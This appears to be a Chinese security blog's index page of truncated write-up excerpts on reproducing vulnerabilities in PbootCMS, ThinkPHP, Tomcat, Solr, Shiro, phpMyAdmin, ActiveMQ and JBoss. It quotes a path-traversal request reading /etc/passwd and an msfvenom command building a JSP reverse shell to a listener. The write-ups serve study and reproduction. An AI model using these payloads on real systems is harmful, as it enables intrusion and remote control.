文章發佈在安全客：https://www.anquanke.com/post/id/195932
前言： x-forwarded-for大家應該都不陌生，是用來獲取客戶端的ip地址的，在實際開發應用中也是非常廣泛的，今天這篇博客的主要內容就是x-forwarded-for注入xss代碼來獲得管理員cookie。 審計的源碼還是
GET /pbootcms/index.php?search=&searchtpl=/....//....//....//....//....//....//etc/passwd HTTP/1.1 Host: localhost
前言 剛剛過去的安洵杯，裏面有一道iamthinking的題目（好像是這個名字吧），裏面考察到了tp6的反序列化（通過訪問www.zip可以下載源碼），按照慣例，我還是沒有做出來，我不知道咋繞過那個正則emmmm，給沒有做題的大師
CVE-2020-1938(RCE利用) 1.使用msf生成反彈shell馬，並且監聽 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.223.129 LPORT=6666 R >
Apache Tomcat任意文件讀取漏洞POC測試(CVE-2020-1938) 1.背景 Tomcat是由Apache軟件基金會屬下Jakarta項目開發的Servlet容器，按照Sun Microsystems提供的技術規範，實現了
Apache Solr 遠程命令執行漏洞(CVE-2019-0193) 聲明：本篇文章僅限用於學習信息安全技術，請勿用於非法途徑！ 1.漏洞描述 2019年8月1日，Apache Solr官方發佈了CVE-2019-0193漏洞預警，漏洞
前言： Apache Shiro是一款開源安全框架，提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用，同時也能提供健壯的安全性。 影響版本： Apache Shiro <= 1.2.4 漏洞原理： Apache Sh
前言： 在學習了網絡安全之後，我們知道了公網和私網（內網），私網是不能直接在公網傳輸和通信的。比如一個學校，一個公司，都是單獨在自己的私網裏面，通過這個私網內部的路由器（NAPT方式）和外界通信。那麼如果A公司的員工要和B公司的員
phpMyAdmin開啓遠程登陸導致本地文件讀取 下面我們先去分析復現下這個漏洞。 $cfg['AllowArbitraryServer'] = true; //false改爲true 則登錄時就可以訪問遠程的服務器。當登陸一個
利用方式： 工具： reGeory 下載地址：https://github.com/sensepost/reGeorg Proxifier 下載地址：https://www.proxifier.com 第一步：將tunnel.no
第一步： 使用kali安裝docker非常簡單。 只需要幾條命令。 首先添加更新源，來到位置/etc/apt/sources.list 通過vim進行編輯後添加如下源： > deb http://mirrors.zju.edu.c
前言： Apache ActiveMQ是美國阿帕奇（Apache）軟件基金會所研發的一套開源的消息中間件，它支持Java消息服務、集羣、Spring Framework等。隨着中間件的啓動，會打開兩個端口，61616是工作端口，消
前言： Tomcat Connector 是 Tomcat 與外界連接的通道,使得它與 Catalina 能夠接收外部的請求,傳遞給對應的 Web 應用程序處理，並返回對應的請求結果。 Tomcat默認的 conf/server.
前言： 這裏apache2是Ubuntu下發行的架構網站的版本，apache2和apache有點不同，包括配置文件名的不同等。接下來我將演示Apache2的基本配置與一些細節。 方法： 由於這裏是Ubuntu環境，安裝的方式直接就
前言： JBoss 反序列化漏洞，該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中，其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進
